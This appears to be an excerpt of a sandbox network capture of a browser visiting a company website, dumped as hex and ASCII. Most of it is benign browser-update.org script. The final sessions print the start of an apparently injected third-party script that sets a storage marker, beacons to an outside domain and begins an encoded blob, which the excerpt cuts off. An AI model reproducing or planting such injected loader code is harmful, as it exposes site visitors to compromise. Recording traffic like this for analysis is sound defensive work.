2e 64 6f 6d 61 69 6e 3d 6f 70 2e 64 6f 6d 61 69 6e 21 3d 3d 75 6e 64 65 66 69 6e Data Ascii: l=op.l\|\|(n.languages?n.languages[0]:null)\|\|n.language\|\|n.browserLanguage\|\|n.userLanguage\|\|document.documentElement.getAttribute("lang")\|\|"en";op.llfull=ll.replace("_","-").toLowerCase().substr(0,5);op.ll=op.llfull.substr(0,2);op.domain=op.domain!==undefin
2024-10-07 11:17:06 UTC	1369	IN	Data Raw: 6f 6e 73 68 6f 77 3d 6f 70 2e 6f 6e 73 68 6f 77 7c 7c 66 75 6e 63 74 69 6f 6e 28 6f 29 7b 7d 3b 6f 70 2e 6f 6e 63 6c 69 63 6b 3d 6f 70 2e 6f 6e 63 6c 69 63 6b 7c 7c 66 75 6e 63 74 69 6f 6e 28 6f 29 7b 7d 3b 6f 70 2e 6f 6e 63 6c 6f 73 65 3d 6f 70 2e 6f 6e 63 6c 6f 73 65 7c 7c 66 75 6e 63 74 69 6f 6e 28 6f 29 7b 7d 3b 6f 70 2e 70 61 67 65 75 72 6c 3d 6f 70 2e 70 61 67 65 75 72 6c 7c 7c 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 7c 7c 22 78 22 3b 6f 70 2e 6e 65 77 77 69 6e 64 6f 77 3d 28 6f 70 2e 6e 65 77 77 69 6e 64 6f 77 21 3d 3d 66 61 6c 73 65 29 3b 6f 70 2e 74 65 73 74 3d 74 65 73 74 7c 7c 6f 70 2e 74 65 73 74 7c 7c 28 6c 6f 63 61 74 69 6f 6e 2e 68 61 73 68 3d 3d 3d 22 23 74 65 73 74 2d 62 75 22 29 7c 7c 66 61 6c 73 65 3b 6f 70 2e 69 67 6e 6f 72 Data Ascii: onshow=op.onshow\|\|function(o){};op.onclick=op.onclick\|\|function(o){};op.onclose=op.onclose\|\|function(o){};op.pageurl=op.pageurl\|\|location.hostname\|\|"x";op.newwindow=(op.newwindow!==false);op.test=test\|\|op.test\|\|(location.hash==="#test-bu")\|\|false;op.ignor
2024-10-07 11:17:06 UTC	532	IN	Data Raw: 66 69 65 64 7c 7c 6f 70 2e 61 6c 72 65 61 64 79 5f 73 68 6f 77 6e 29 29 72 65 74 75 72 6e 3b 6f 70 2e 73 65 74 43 6f 6f 6b 69 65 3d 66 75 6e 63 74 69 6f 6e 28 68 6f 75 72 73 29 7b 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 3d 27 62 72 6f 77 73 65 72 75 70 64 61 74 65 6f 72 67 3d 70 61 75 73 65 3b 20 65 78 70 69 72 65 73 3d 27 2b 6e 65 77 20 44 61 74 65 28 6e 65 77 20 44 61 74 65 28 29 2e 67 65 74 54 69 6d 65 28 29 2b 33 36 30 30 30 30 30 2a 68 6f 75 72 73 29 2e 74 6f 47 4d 54 53 74 72 69 6e 67 28 29 2b 27 3b 20 70 61 74 68 3d 2f 3b 20 53 61 6d 65 53 69 74 65 3d 4c 61 78 27 2b 28 2f 68 74 74 70 73 3a 2f 2e 74 65 73 74 28 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 29 3f 27 3b 20 53 65 63 75 72 65 27 3a 27 27 29 3b 7d 3b 69 66 28 6f 70 2e 61 6c 72 65 61 64 79 Data Ascii: fied\|\|op.already_shown))return;op.setCookie=function(hours){document.cookie='browserupdateorg=pause; expires='+new Date(new Date().getTime()+3600000*hours).toGMTString()+'; path=/; SameSite=Lax'+(/https:/.test(location.href)?'; Secure':'');};if(op.already

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	49827	104.26.13.241	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:06 UTC	602	OUT	GET /static/img/small/c.png HTTP/1.1 Host: browser-update.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.twbcompany.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 11:17:06 UTC	685	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:06 GMT Content-Type: image/png Content-Length: 787 Connection: close Cache-Control: max-age=86400 content-disposition: inline; filename=c.png last-modified: Sun, 21 Mar 2021 12:19:17 GMT CF-Cache-Status: REVALIDATED Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uRELdKVuLsaKxLopLR1OhtZeAYw1d%2B3KXIJ7uAuB5gEUOmuWZZz0IWZTfHiAGPcm%2F9nu%2F%2BuUFqFla7ACKbcd%2FPq41iM7u%2BQcey0m6nkiisHzt%2FuNt0XUXWiFI9UNW%2FEFx6Lcyw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ced7b9a6d5b78dc-EWR
2024-10-07 11:17:06 UTC	684	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 10 00 00 00 10 08 03 00 00 00 28 2d 0f 53 00 00 01 ad 50 4c 54 45 00 00 00 45 bc 4a fd d2 08 ef 68 57 ef 67 57 37 8b 40 ee 61 51 eb b8 1b 37 a9 46 39 8d 41 ec 5e 50 ec 5e 50 fc d2 09 fc d2 09 ff bd 15 7a a0 34 42 a3 45 46 aa 46 e8 b1 20 1c 88 47 40 9d 44 49 af 47 e7 b3 1e fa cf 0a ea 52 47 ff ef 01 e2 ae 23 e2 ae 22 ec bc 19 ea 51 47 ef 67 56 3d 97 42 e2 27 46 38 89 41 4c b6 48 39 90 41 ec 5b 4e c5 55 3e 37 89 41 f0 b8 15 ed 64 54 ee 63 53 e9 51 47 fd d3 09 ff d2 01 ec 5c 4f e4 2a 47 40 9d 44 3c 96 42 3e 81 b6 42 a2 44 3f 9a 44 3a 91 41 e7 47 40 f7 c7 0f 54 91 c2 44 71 be 00 4e a1 0b 5d 9a f1 8f 8b 85 c9 73 ec 5d 4f 33 ce 4e 47 ab 46 2d a4 2d 2c 9e 2b ea 77 24 ea 76 23 e9 b8 1c ea 25 1c fd d4 07 fe Data Ascii: PNGIHDR(-SPLTEEJhWgW7@aQ7F9A^P^Pz4BEFF G@DIGRG#"QGgV=B'F8ALH9A[NU>7AdTcSQG\O*G@D<B>BD?D:AG@TDqN]s]O3NGF--,+w$v#%
2024-10-07 11:17:06 UTC	103	IN	Data Raw: 93 c2 2d 2c 22 d2 3c dd dc b4 c5 19 38 0c 8c f5 8b 1c 6d 12 e3 6d fa 74 b4 bb cd d8 19 18 94 4d 80 42 35 0e 65 3d 9e 9d 66 ed 32 20 a7 b2 9a 18 18 e8 67 97 ea 98 b5 b9 88 41 3c a3 c8 69 52 90 d3 d4 e5 d2 28 0d f3 ae 1a ab 30 3f 9f 90 14 3b 88 0d 00 48 2f 34 ff 10 a6 ea 05 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: -,"<8mmtMB5e=f2 gA<iR(0?;H/4IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	49828	104.26.12.241	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:06 UTC	360	OUT	GET /update.show.min.js HTTP/1.1 Host: browser-update.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 11:17:06 UTC	767	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:06 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 21886 Connection: close Cache-Control: max-age=86400 content-disposition: inline; filename=update.show.min.js expires: Sun, 06 Oct 2024 10:56:46 GMT last-modified: Sun, 29 Sep 2024 17:05:40 GMT CF-Cache-Status: HIT Age: 174020 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7pHkfEP8xV8aU8AKCrVIMTIGYIaO4bFPLcAbX5o6lAu8bIXdJVpNbWuF%2FQYP%2B0EhwHz2pxVs%2FQ7HpbB%2Fv%2BhwBTLXjqdZeWApXmna76dOjCNrEO62m2Uq6jnUFDYjV0JzCD7TdA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ced7b9a88ed4332-EWR
2024-10-07 11:17:06 UTC	602	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 24 62 75 6f 5f 73 68 6f 77 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6f 70 3d 77 69 6e 64 6f 77 2e 5f 62 75 6f 72 67 72 65 73 3b 76 61 72 20 62 62 3d 24 62 75 5f 67 65 74 42 72 6f 77 73 65 72 28 29 3b 76 61 72 20 62 75 72 6c 3d 6f 70 2e 62 75 72 6c 7c 7c 28 22 68 74 74 70 22 2b 28 2f 4d 53 49 45 2f 69 2e 74 65 73 74 28 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 29 3f 22 22 3a 22 73 22 29 2b 22 3a 2f 2f 62 72 6f 77 73 65 72 2d 75 70 64 61 74 65 2e 6f 72 67 2f 22 29 3b 69 66 28 21 6f 70 2e 75 72 6c 29 6f 70 2e 75 72 6c 3d 62 75 72 6c 2b 28 28 6f 70 2e 6c 26 26 28 6f 70 2e 6c 2b 22 2f 22 29 29 7c 7c 22 22 29 2b 22 75 70 64 61 74 65 2d 62 72 6f 77 73 65 72 2e 68 74 6d 6c 22 2b 28 6f 70 2e Data Ascii: "use strict";var $buo_show=function(){var op=window._buorgres;var bb=$bu_getBrowser();var burl=op.burl\|\|("http"+(/MSIE/i.test(navigator.userAgent)?"":"s")+"://browser-update.org/");if(!op.url)op.url=burl+((op.l&&(op.l+"/"))\|\|"")+"update-browser.html"+(op.
2024-10-07 11:17:06 UTC	1369	IN	Data Raw: 20 6f 66 20 64 61 74 65 2e 27 2c 27 6d 73 67 6d 6f 72 65 27 3a 27 55 70 64 61 74 65 20 79 6f 75 72 20 62 72 6f 77 73 65 72 20 66 6f 72 20 6d 6f 72 65 20 73 65 63 75 72 69 74 79 2c 20 73 70 65 65 64 20 61 6e 64 20 74 68 65 20 62 65 73 74 20 65 78 70 65 72 69 65 6e 63 65 20 6f 6e 20 74 68 69 73 20 73 69 74 65 2e 27 2c 27 62 75 70 64 61 74 65 27 3a 27 55 70 64 61 74 65 20 62 72 6f 77 73 65 72 27 2c 27 62 69 67 6e 6f 72 65 27 3a 27 49 67 6e 6f 72 65 27 2c 27 72 65 6d 69 6e 64 27 3a 27 59 6f 75 20 77 69 6c 6c 20 62 65 20 72 65 6d 69 6e 64 65 64 20 69 6e 20 7b 64 61 79 73 7d 20 64 61 79 73 2e 27 2c 27 62 6e 65 76 65 72 27 3a 27 4e 65 76 65 72 20 73 68 6f 77 20 61 67 61 69 6e 27 2c 27 69 6e 73 65 63 75 72 65 27 3a 27 59 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 Data Ascii: of date.','msgmore':'Update your browser for more security, speed and the best experience on this site.','bupdate':'Update browser','bignore':'Ignore','remind':'You will be reminded in {days} days.','bnever':'Never show again','insecure':'Your web browse
2024-10-07 11:17:06 UTC	1369	IN	Data Raw: 6c 6f 63 69 74 61 74 20 69 20 75 6e 61 20 6d 69 6c 6c 6f 72 20 65 78 70 65 72 69 c3 a8 6e 63 69 61 20 65 6e 20 61 71 75 65 73 74 20 6c 6c 6f 63 2e 27 2c 27 62 75 70 64 61 74 65 27 3a 27 41 63 74 75 61 6c 69 74 7a 61 20 65 6c 20 6e 61 76 65 67 61 64 6f 72 27 2c 27 62 69 67 6e 6f 72 65 27 3a 27 49 67 6e 6f 72 61 72 27 2c 27 72 65 6d 69 6e 64 27 3a 27 54 5c 27 68 6f 20 72 65 63 6f 72 64 61 72 65 6d 20 64 5c 27 61 71 75 c3 ad 20 61 20 7b 64 61 79 73 7d 20 64 69 65 73 2e 27 2c 27 62 6e 65 76 65 72 27 3a 27 4e 6f 20 68 6f 20 74 6f 72 6e 69 73 20 61 20 6d 6f 73 74 72 61 72 27 7d 3b 74 2e 63 73 3d 7b 27 6d 73 67 27 3a 27 56 c3 a1 c5 a1 20 70 72 6f 68 6c c3 ad c5 be 65 c4 8d 20 28 7b 62 72 6f 77 5f 6e 61 6d 65 7d 29 20 6a 65 20 7a 61 73 74 61 72 61 6c c3 bd 2e 27 Data Ascii: locitat i una millor experincia en aquest lloc.','bupdate':'Actualitza el navegador','bignore':'Ignorar','remind':'T\'ho recordarem d\'aqu a {days} dies.','bnever':'No ho tornis a mostrar'};t.cs={'msg':'V prohle ({brow_name}) je zastaral.'
2024-10-07 11:17:06 UTC	1369	IN	Data Raw: 7b 64 61 79 73 7d 20 54 61 67 65 6e 20 77 69 65 64 65 72 20 65 72 69 6e 6e 65 72 74 2e 27 2c 27 62 6e 65 76 65 72 27 3a 27 4e 69 65 20 77 69 65 64 65 72 20 61 6e 7a 65 69 67 65 6e 27 2c 27 69 6e 73 65 63 75 72 65 27 3a 27 49 68 72 20 57 65 62 62 72 6f 77 73 65 72 20 28 7b 62 72 6f 77 5f 6e 61 6d 65 7d 29 20 68 61 74 20 65 69 6e 65 20 65 72 6e 73 74 68 61 66 74 65 20 53 69 63 68 65 72 68 65 69 74 73 6c c3 bc 63 6b 65 21 27 7d 3b 74 2e 65 6c 3d 7b 27 6d 73 67 27 3a 27 ce a4 ce bf 20 cf 80 cf 81 cf 8c ce b3 cf 81 ce b1 ce bc ce bc ce b1 20 cf 80 ce b5 cf 81 ce b9 ce ae ce b3 ce b7 cf 83 ce ae cf 82 20 cf 83 ce b1 cf 82 20 28 7b 62 72 6f 77 5f 6e 61 6d 65 7d 29 20 ce b5 ce af ce bd ce b1 ce b9 20 ce b1 cf 80 ce b1 cf 81 cf 87 ce b1 ce b9 cf 89 ce bc ce ad ce Data Ascii: {days} Tagen wieder erinnert.','bnever':'Nie wieder anzeigen','insecure':'Ihr Webbrowser ({brow_name}) hat eine ernsthafte Sicherheitslcke!'};t.el={'msg':' ({brow_name})
2024-10-07 11:17:06 UTC	1369	IN	Data Raw: 7d 3b 74 2e 66 61 3d 7b 27 6d 73 67 27 3a 27 d9 85 d8 b1 d9 88 d8 b1 da af d8 b1 20 d8 b4 d9 85 d8 a7 20 28 7b 62 72 6f 77 5f 6e 61 6d 65 7d 29 20 d9 82 d8 af db 8c d9 85 db 8c 20 d8 a7 d8 b3 d8 aa 2e 27 2c 27 6d 73 67 6d 6f 72 65 27 3a 27 d8 a8 d8 b1 d8 a7 db 8c 20 d8 a7 db 8c d9 85 d9 86 db 8c d8 8c 20 d8 b3 d8 b1 d8 b9 d8 aa 20 d9 88 20 d8 aa d8 ac d8 b1 d8 a8 d9 87 20 d8 a8 d9 87 d8 aa d8 b1 20 d9 85 d8 b1 d9 88 d8 b1 da af d8 b1 20 d8 ae d9 88 d8 af 20 d8 b1 d8 a7 20 d8 a8 d9 87 e2 80 8c d8 b1 d9 88 d8 b2 20 da a9 d9 86 db 8c d8 af 2e 27 2c 27 62 75 70 64 61 74 65 27 3a 27 d8 a8 d9 87 e2 80 8c d8 b1 d9 88 d8 b2 d8 b1 d8 b3 d8 a7 d9 86 db 8c 20 d9 85 d8 b1 d9 88 d8 b1 da af d8 b1 27 2c 27 62 69 67 6e 6f 72 65 27 3a 27 d9 86 d8 a7 d8 af db 8c d8 af d9 Data Ascii: };t.fa={'msg':' ({brow_name}) .','msgmore':' .','bupdate':' ','bignore':'
2024-10-07 11:17:06 UTC	1369	IN	Data Raw: 27 7d 3b 74 2e 68 65 3d 7b 27 6d 73 67 27 3a 27 d7 93 d7 a4 d7 93 d7 a4 d7 9f 20 28 7b 62 72 6f 77 5f 6e 61 6d 65 7d 29 20 d7 a9 d7 9c d7 9a 20 d7 90 d7 99 d7 a0 d7 95 20 d7 9e d7 a2 d7 95 d7 93 d7 9b d7 9f 2e 27 2c 27 6d 73 67 6d 6f 72 65 27 3a 27 d7 a2 d7 93 d7 9b d7 9f 2f d7 99 20 d7 90 d7 aa 20 d7 94 d7 93 d7 a4 d7 93 d7 a4 d7 9f 20 d7 a9 d7 9c d7 9a 20 d7 9c d7 a9 d7 99 d7 a4 d7 95 d7 a8 20 d7 94 d7 90 d7 91 d7 98 d7 97 d7 94 20 d7 95 d7 94 d7 9e d7 94 d7 99 d7 a8 d7 95 d7 aa 20 d7 95 d7 9b d7 93 d7 99 20 d7 9c d7 99 d7 94 d7 a0 d7 95 d7 aa 20 d7 9e d7 94 d7 97 d7 95 d7 95 d7 99 d7 94 20 d7 94 d7 98 d7 95 d7 91 d7 94 20 d7 91 d7 99 d7 95 d7 aa d7 a8 20 d7 91 d7 90 d7 aa d7 a8 20 d7 96 d7 94 2e 27 2c 27 62 75 70 64 61 74 65 27 3a 27 d7 a2 d7 93 d7 9b Data Ascii: '};t.he={'msg':' ({brow_name}) .','msgmore':'/ .','bupdate':'
2024-10-07 11:17:06 UTC	1369	IN	Data Raw: 73 61 6e 67 2e 27 2c 27 6d 73 67 6d 6f 72 65 27 3a 27 50 65 72 62 61 72 75 69 20 70 65 72 61 6d 62 61 6e 20 41 6e 64 61 20 75 6e 74 75 6b 20 70 65 6e 67 61 6c 61 6d 61 6e 20 74 65 72 62 61 69 6b 2c 20 6c 65 62 69 68 20 61 6d 61 6e 2c 20 64 61 6e 20 63 65 70 61 74 20 64 69 20 73 69 74 75 73 20 69 6e 69 2e 27 2c 27 62 75 70 64 61 74 65 27 3a 27 50 65 72 62 61 72 75 69 20 70 65 72 61 6d 62 61 6e 27 2c 27 62 69 67 6e 6f 72 65 27 3a 27 41 62 61 69 6b 61 6e 27 2c 27 72 65 6d 69 6e 64 27 3a 27 41 6e 64 61 20 61 6b 61 6e 20 64 69 69 6e 67 61 74 6b 61 6e 20 6b 65 6d 62 61 6c 69 20 64 61 6c 61 6d 20 7b 64 61 79 73 7d 20 68 61 72 69 2e 27 2c 27 62 6e 65 76 65 72 27 3a 27 4a 61 6e 67 61 6e 20 70 65 72 6e 61 68 20 74 61 6d 70 69 6c 6b 61 6e 20 6c 61 67 69 27 7d 3b 74 Data Ascii: sang.','msgmore':'Perbarui peramban Anda untuk pengalaman terbaik, lebih aman, dan cepat di situs ini.','bupdate':'Perbarui peramban','bignore':'Abaikan','remind':'Anda akan diingatkan kembali dalam {days} hari.','bnever':'Jangan pernah tampilkan lagi'};t
2024-10-07 11:17:06 UTC	1369	IN	Data Raw: c5 a1 79 6b 6c c4 97 20 28 7b 62 72 6f 77 5f 6e 61 6d 65 7d 29 20 79 72 61 20 70 61 73 65 6e 75 73 69 2e 27 2c 27 6d 73 67 6d 6f 72 65 27 3a 27 41 74 73 69 6e 61 75 6a 69 6e 6b 69 74 65 20 73 61 76 6f 20 6e 61 72 c5 a1 79 6b 6c c4 99 20 6e 6f 72 c4 97 64 61 6d 69 20 67 61 75 74 69 20 64 61 75 67 69 61 75 20 73 61 75 67 75 6d 6f 2c 20 67 72 65 69 c4 8d 69 6f 20 69 72 20 70 61 c4 8d 69 c5 b3 20 67 65 72 69 61 75 73 69 c5 b3 20 70 61 74 69 72 c4 8d 69 c5 b3 20 c5 a1 69 6f 6a 65 20 73 76 65 74 61 69 6e c4 97 6a 65 2e 27 2c 27 62 75 70 64 61 74 65 27 3a 27 41 74 6e 61 75 6a 69 6e 74 69 20 6e 61 72 c5 a1 79 6b 6c c4 99 27 2c 27 62 69 67 6e 6f 72 65 27 3a 27 4e 65 70 61 69 73 79 74 69 27 2c 27 72 65 6d 69 6e 64 27 3a 27 4a 75 6d 73 20 62 75 73 20 70 72 69 6d 69 Data Ascii: ykl ({brow_name}) yra pasenusi.','msgmore':'Atsinaujinkite savo narykl nordami gauti daugiau saugumo, greiio ir pai geriausi patiri ioje svetainje.','bupdate':'Atnaujinti narykl','bignore':'Nepaisyti','remind':'Jums bus primi
2024-10-07 11:17:06 UTC	1369	IN	Data Raw: 74 20 73 69 6b 6b 65 72 68 65 74 2c 20 68 61 73 74 69 67 68 65 74 20 6f 67 20 64 65 6e 20 62 65 73 74 65 20 6f 70 70 6c 65 76 65 6c 73 65 6e 20 70 c3 a5 20 64 65 74 74 65 20 6e 65 74 74 73 74 65 64 65 74 2e 27 2c 27 62 75 70 64 61 74 65 27 3a 27 4f 70 70 64 61 74 65 72 20 6e 65 74 74 6c 65 73 65 72 27 2c 27 62 69 67 6e 6f 72 65 27 3a 27 49 67 6e 6f 72 65 72 27 2c 27 72 65 6d 69 6e 64 27 3a 27 44 75 20 76 69 6c 20 66 c3 a5 20 65 6e 20 70 c3 a5 6d 69 6e 6e 65 6c 73 65 20 6f 6d 20 7b 64 61 79 73 7d 20 64 61 67 65 72 2e 27 2c 27 62 6e 65 76 65 72 27 3a 27 41 6c 64 72 69 20 76 69 73 20 69 67 6a 65 6e 27 7d 3b 74 2e 70 6c 3d 7b 27 6d 73 67 27 3a 27 54 77 6f 6a 61 20 70 72 7a 65 67 6c c4 85 64 61 72 6b 61 20 28 7b 62 72 6f 77 5f 6e 61 6d 65 7d 29 20 6a 65 73 74 Data Ascii: t sikkerhet, hastighet og den beste opplevelsen p dette nettstedet.','bupdate':'Oppdater nettleser','bignore':'Ignorer','remind':'Du vil f en pminnelse om {days} dager.','bnever':'Aldri vis igjen'};t.pl={'msg':'Twoja przegldarka ({brow_name}) jest
2024-10-07 11:17:06 UTC	1369	IN	Data Raw: 20 d0 b8 d1 81 d0 bf d0 be d0 bb d1 8c d0 b7 d0 be d0 b2 d0 b0 d0 bd d0 b8 d1 8f 20 d1 8d d1 82 d0 be d0 b3 d0 be 20 d1 81 d0 b0 d0 b9 d1 82 d0 b0 2e 27 2c 27 62 75 70 64 61 74 65 27 3a 27 d0 9e d0 b1 d0 bd d0 be d0 b2 d0 b8 d1 82 d1 8c 20 d0 b1 d1 80 d0 b0 d1 83 d0 b7 d0 b5 d1 80 27 2c 27 62 69 67 6e 6f 72 65 27 3a 27 d0 98 d0 b3 d0 bd d0 be d1 80 d0 b8 d1 80 d0 be d0 b2 d0 b0 d1 82 d1 8c 27 2c 27 72 65 6d 69 6e 64 27 3a 27 d0 92 d1 8b 20 d0 bf d0 be d0 bb d1 83 d1 87 d0 b8 d1 82 d0 b5 20 d0 bd d0 b0 d0 bf d0 be d0 bc d0 b8 d0 bd d0 b0 d0 bd d0 b8 d0 b5 20 d1 87 d0 b5 d1 80 d0 b5 d0 b7 20 7b 64 61 79 73 7d 20 d0 b4 d0 bd d0 b5 d0 b9 2e 27 2c 27 62 6e 65 76 65 72 27 3a 27 d0 91 d0 be d0 bb d1 8c d1 88 d0 b5 20 d0 bd d0 b5 20 d0 bf d0 be d0 ba d0 b0 d0 b7 Data Ascii: .','bupdate':' ','bignore':'','remind':' {days} .','bnever':'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	49829	185.76.79.50	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:06 UTC	394	OUT	GET /SzlpnTAbCvQvG1OvfQpFvzkbU78xQAX7O1sfvzY= HTTP/1.1 Host: virtual.urban-orthodontics.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 11:17:09 UTC	165	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 07 Oct 2024 11:17:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-07 11:17:09 UTC	209	IN	Data Raw: 63 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a Data Ascii: cb<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
2024-10-07 11:17:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	49830	185.76.79.50	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:06 UTC	616	OUT	GET /higutf0KTdziChSHsBsCl/VcS8WkEgzU6ElCzPxNcdP2CgKX9AoUl+FCXNriW0bS801NxP9fVMTjRVyX+w== HTTP/1.1 Host: virtual.urban-orthodontics.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.twbcompany.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 11:17:09 UTC	181	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 11:17:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding
2024-10-07 11:17:09 UTC	3950	IN	Data Raw: 66 36 37 0d 0a 28 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 6c 53 74 6f 72 61 67 65 5b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 5d 3d 31 3b 76 61 72 20 64 6f 6d 61 69 6e 3d 27 68 74 74 70 73 3a 2f 2f 76 69 72 74 75 61 6c 2e 75 72 62 61 6e 2d 6f 72 74 68 6f 64 6f 6e 74 69 63 73 2e 63 6f 6d 2f 27 3b 66 75 6e 63 74 69 6f 6e 20 73 65 6e 64 53 74 61 74 69 73 74 69 63 73 28 74 79 70 65 29 7b 76 61 72 20 69 3d 6e 65 77 20 49 6d 61 67 65 28 29 3b 69 2e 73 72 63 3d 64 6f 6d 61 69 6e 2b 74 79 70 65 3b 7d 76 61 72 20 65 6c 65 6d 73 3d 5b 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2c 64 6f 63 75 6d 65 6e 74 2e 68 65 61 64 2c 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 5d 3b 76 61 72 20 61 Data Ascii: f67(function(){window.localStorage[window.location.hostname]=1;var domain='https://virtual.urban-orthodontics.com/';function sendStatistics(type){var i=new Image();i.src=domain+type;}var elems=[document.documentElement,document.head,document.body];var a
2024-10-07 11:17:09 UTC	4104	IN	Data Raw: 31 30 30 30 0d 0a 4e 74 74 33 4e 33 75 39 31 77 33 4b 4e 72 38 6c 36 72 74 33 5a 6f 53 64 32 71 39 76 4f 48 43 44 70 39 75 68 62 6d 44 2f 68 61 32 2f 59 31 59 57 35 75 68 76 69 79 4d 6a 69 32 73 71 34 74 43 66 59 35 76 4a 73 77 32 6e 64 70 69 61 48 74 6e 50 70 7a 47 53 37 34 37 6c 42 68 4c 75 55 74 69 76 34 32 31 46 38 71 74 5a 34 70 39 52 6d 74 6d 62 57 6e 43 6a 74 7a 41 33 70 30 74 4f 36 6d 79 7a 35 32 6b 50 68 55 6b 48 39 32 6a 65 54 5a 56 4a 70 71 57 44 78 77 78 46 76 71 44 52 59 72 45 48 79 37 64 52 5a 63 6a 44 67 53 53 6e 68 53 43 50 68 51 30 50 68 76 56 77 69 63 4b 37 76 36 74 48 41 53 45 74 75 6e 6a 74 79 58 79 79 4a 56 79 33 58 78 52 54 46 50 6b 41 63 59 35 2b 6d 52 69 76 70 75 68 61 46 7a 6f 4b 42 79 33 39 53 6e 30 